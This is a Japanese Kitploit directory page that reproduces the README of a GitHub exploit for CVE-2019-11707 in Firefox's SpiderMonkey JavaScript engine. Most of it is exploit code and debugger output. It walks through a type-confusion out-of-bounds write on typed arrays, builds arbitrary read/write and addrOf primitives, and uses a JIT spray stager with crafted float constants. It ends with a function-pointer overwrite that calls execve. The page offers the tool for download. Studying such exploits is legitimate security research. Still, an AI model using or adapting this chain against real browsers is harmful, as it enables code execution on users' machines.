Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
ツール/GitHubGitHub/flabbergastedbd/cve-2019-11707
脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用シェルコード生成ペイロード開発バイナリエクスプロイト
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

リポジトリを見る
226年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SpiderMonkey - CVE-2019-11707

バグ: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

スクリーンショット

ソース

エクスプロイト

ファイル

  • exploit.js - 実際のエクスプロイト、saeloのutil.jsとInt64.jsが先頭に付加されています。
  • stager.js - 定数を作成するために使用され、saeloのutil.jsとInt64.jsが先頭に付加されています。
  • stager.py - keystoneを使用して命令をアセンブルするために使用されます。出力はstager.jsに渡されます。

エクスプロイト概要

  • 型の混同を利用して、型付き配列のバッファを超えて書き込みます(setup()内で行われます)。
root@kitploit:~
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // この[:8]を使用して、以下の配列のデータポインタを制御します
  new Uint8Array(0x10), // 任意の読み書き配列
]
  • TLDR: exploit_pack[0]のバッキングバッファを超えて書き込み、exploit_pack[1]のデータポインタフィールドに書き込みます。それをexploit_pack[2]のデータポインタフィールドのアドレスに設定します。
root@kitploit:~
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • 任意の読み書きが可能になり、アドレスをexploit_pack[1]の内容として設定でき、これにより内部的にexploit_pack[2]のデータポインタが変更されます。その後、exploit_pack[2]を使用してメモリの読み書きを行います。
root@kitploit:~
function read(ptr) {
  read_addr = new Int64(ptr);
  // exploit_pack[2]のデータポインタを変更
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // ポインタの0xfffeを除去
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // exploit_pack[2]のデータポインタを変更
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • exploit_pack自体を使用して、addrOfプリミティブを構築します。
root@kitploit:~
function addrOf(obj) {
  exploit_pack[3] = obj;

  // exploit_pack[2]のデータポインタを変更
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // ポインタの0xfffeを除去
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • ベースラインのJITスプレーを実行し、いくつかの構造を走査してJIT関数ポインタを取得し、ジャンプ先の興味深いオフセットを見つけます。実際の関数ポインタをこのオフセットで上書きします。

JITスプレー

  • 要するに、以下のような関数をr-xページに強制的に配置できます。
root@kitploit:~
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • JIT後は以下のようになります。定数0xdeadc0debaadが見えます。

実際のJIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • 同じバイト列が以下のように異なるオフセットから命令としてパースされ始めると、すべてが変わります。これがJITスプレーの本質です。

オフセットJIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • アイデアは、制御可能な7バイトを使用して4c 89 5d XX 49 bb 00バイトを回避することです。相対jmpを使用してこれらのバイトを飛び越えます。
root@kitploit:~
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • 相対jmpは2バイトかかるため、アセンブリ命令を書き込むための5バイトが残ります。JIT関数のパラメータは、関数が呼び出されたときにスタック上のオフセットで利用可能です。したがって、JIT関数はパラメータを受け取っていました。

レジスタ

  • LinuxのX86-64システムコール呼び出し規則に従い、execveシステムコールのためにレジスタに以下のものが必要です。
root@kitploit:~
rax: システムコール番号
rdi: プログラムのパス
rsi: argv
rdx: envp
  • 以下のmov命令は、スタック上のオフセットから該当するレジスタに値を移動するのに最適です。正確に5バイトです。
root@kitploit:~
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • そこで、定数を構築できます。stager.py -> stager.jsを参照して、それらがどのように生成されたかを確認してください。

  • オブジェクト構造内の実際のJIT関数ポインタを上書きし、オフセットで置き換えるだけです。パラメータを指定して関数を呼び出します。

root@kitploit:~
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • stagerの記述方法により、3つの引数で任意のシステムコールを簡単に実行できます。

非常に便利なリンク

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
ツールをダウンロード